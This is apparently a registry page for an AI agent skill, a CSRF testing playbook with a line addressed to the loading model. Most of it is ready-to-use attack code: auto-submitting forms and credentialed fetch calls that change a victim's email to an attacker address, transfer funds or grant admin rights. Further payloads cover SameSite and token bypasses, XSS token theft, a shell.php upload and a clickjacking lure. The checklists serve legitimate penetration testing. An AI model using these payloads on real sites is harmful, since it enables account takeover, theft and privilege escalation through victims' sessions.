OverviewHistoryStatsSecurity
npx skills add ...
Documentation
SKILL.md
npx skills add yaklang/hack-skills --skill csrf-cross-site-request-forgery
CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.
npx skills add yaklang/hack-skills --skill csrf-cross-site-request-forgery
AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
Also load:
CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin.
Required conditions:
High-value state-changing endpoints:
Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
Token exists in request but is never verified server-side:
When server sets CSRF token as cookie and expects it back in a header/form:
SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
Bypass SameSite=Lax via GET method:
Bypass via subdomain XSS (SameSite Lax/Strict):
SameSite=None (legacy or explicit): cookies sent everywhere → classic CSRF applies.
Cookie issued recently? Lax exemption: Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
If API requires custom header like X-CSRF-Token but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:
When endpoint accepts Content-Type: application/json — fetch() with CORS credentials:
Requires: Access-Control-Allow-Origin: https://attacker.com AND Access-Control-Allow-Credentials: true
If server only accepts application/json but no fetch CORS:
Can't do proper JSON CSRF from HTML form (forms can only send application/x-www-form-urlencoded, multipart/form-data, text/plain).
Trick — Content-Type Downgrade: If server processes text/plain body as JSON:
Resulting body: {"email":"attacker@evil.com","ignore":"="}
When changing Content-Type from application/json to multipart/form-data and request still works:
When CSRF protection is otherwise solid, XSS enables CSRF bypass:
OAuth flow without state parameter → CSRF on the OAuth authorization:
Attack:
https://target.com/oauth/callback?code=ATTACKER_CODEImpact: Attacker can log in as victim.
| Aspect | Traditional CSRF | CSPT2CSRF |
|---|---|---|
| Origin | Attacker's site | Same-origin JavaScript |
| Token bypass | Needs token forgery | No token needed (same-origin) |
| SameSite | Blocked by SameSite=Strict | Bypasses SameSite (same site!) |
| Detection | Standard CSRF checks | Requires input validation on path segments |
window.open() (2-minute window)Chrome's Lax+POST exception: cookies with SameSite=Lax are sent on cross-site POST requests if the cookie was set within the last 2 minutes (exists for OAuth flows).
Lax cookies are sent on top-level GET navigations. A redirect chain converts GET into action:
Many frameworks support method override via _method parameter:
Headers that trigger method override:
SameSite=Lax allows the GET → framework processes it as POST/DELETE via override → CSRF on "POST-only" endpoints.
Flash (pre-2021) could send arbitrary Content-Type headers cross-origin without preflight:
Legacy but still relevant for older internal applications.
fetch() in no-cors mode can send simple requests but cannot set Content-Type: application/json (triggers preflight) or read the response.
Workaround — if the server accepts text/plain body and parses it as JSON:
Some backends accept both content types:
If the server processes role=admin&user_id=123 the same as {"role":"admin","user_id":123} → CSRF via plain HTML form without CORS preflight.
If *.target.com is in the CORS allowlist and an XSS exists on any subdomain:
blog.target.comapi.target.com (CORS allows subdomain)If CSRF tokens are issued before authentication and remain valid after login:
When CSRF protections are solid but X-Frame-Options / frame-ancestors is missing:
Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypassSet-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictableIf attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass<!-- If server accepts GET for state-changing endpoint: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html><body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
</body><img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true; // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});<form enctype="text/plain" method="POST" action="https://target.com/api">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form><form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
<input name="email" value="attacker@evil.com">
</form>// Step 1: XSS reads CSRF token from DOM
var token = document.querySelector('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer<!-- Browser sends Content-Type: text/plain with JSON-like body -->
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
<input name='{"role":"admin","ignore":"' value='"}' type="hidden">
<input type="submit" value="Click me">
</form>
<!-- Resulting body: {"role":"admin","ignore":"="} -->
<!-- Server may parse as JSON if it doesn't strictly check Content-Type --><script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
<!-- Only works if CORS allows the origin (misconfigured CORS + CSRF combo) --><script>
fetch("https://target.com/api/role", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "text/plain"},
body: '{"role":"admin"}'
});
</script><script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");
fetch("https://target.com/upload", {
method: "POST",
credentials: "include",
body: formData
});
</script>Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action
Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token// Attacker page: trigger login to set a fresh cookie, then immediately CSRF
// Step 1: Force victim to visit target (sets fresh session cookie)
window.open('https://target.com/login');
// Step 2: Within 2 minutes, POST to state-changing endpoint
setTimeout(() => {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://target.com/account/change-email';
form.innerHTML = '<input name="email" value="attacker@evil.com">';
document.body.appendChild(form);
form.submit();
}, 5000);1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
2. Browser follows redirect as top-level navigation → Lax cookies sent
3. If target accepts GET for state-changing operations → CSRF succeedsGET /account/delete?_method=DELETE&confirm=yes HTTP/1.1
GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1X-HTTP-Method-Override: POST
X-Method-Override: DELETE
_method=PUT (Rails, Laravel, Symfony)var req:URLRequest = new URLRequest("https://target.com/api/role");
req.method = "POST";
req.contentType = "application/json";
req.data = '{"role":"admin"}';
navigateToURL(req);fetch('https://target.com/api/role', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"role":"admin"}'
});<form action="https://target.com/api/role" method="POST">
<input name="role" value="admin">
<input name="user_id" value="123">
</form>1. Target API reflects Origin in Access-Control-Allow-Origin
2. Access-Control-Allow-Credentials: true
3. Attacker page sends credentialed fetch() from https://evil.com
4. Response is readable → CSRF token extracted from response
5. Second request with valid CSRF token → bypass all CSRF defensesfetch('https://target.com/api/profile', {credentials: 'include'})
.then(r => r.json())
.then(data => {
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': data.csrf_token
},
body: JSON.stringify({email: 'attacker@evil.com'})
});
});1. Attacker visits target.com → receives CSRF token T1
2. Attacker forces victim's browser to use T1:
a. Cookie tossing from subdomain
b. CRLF injection to set csrf_cookie
3. Victim logs in — CSRF token unchanged
4. Attacker submits CSRF request with known T1 → succeeds□ Obtain CSRF token as unauthenticated user
□ Log in — does the CSRF token change?
□ If unchanged → token fixation: pre-auth token works post-auth
□ Use pre-auth token in a CSRF PoC against authenticated endpoint1. Target page is frameable (no X-Frame-Options / CSP frame-ancestors)
2. Attacker creates transparent iframe overlay
3. Victim sees attacker content, clicks land on target's action button in hidden iframe
4. Click originates from same origin (within iframe) — bypasses CSRF tokens<html>
<body>
<div style="position:relative">
<iframe src="https://target.com/account/settings"
style="opacity:0.0001; position:absolute; top:0; left:0;
width:500px; height:500px; z-index:2;">
</iframe>
<button style="position:absolute; top:250px; left:200px; z-index:1;
padding:20px; font-size:24px;">
Click to claim prize!
</button>
</div>
</body>
</html>□ X-Frame-Options: DENY or SAMEORIGIN header present?
□ CSP: frame-ancestors 'self' or frame-ancestors 'none'?
□ If neither → clickjacking possible → CSRF bypass via iframe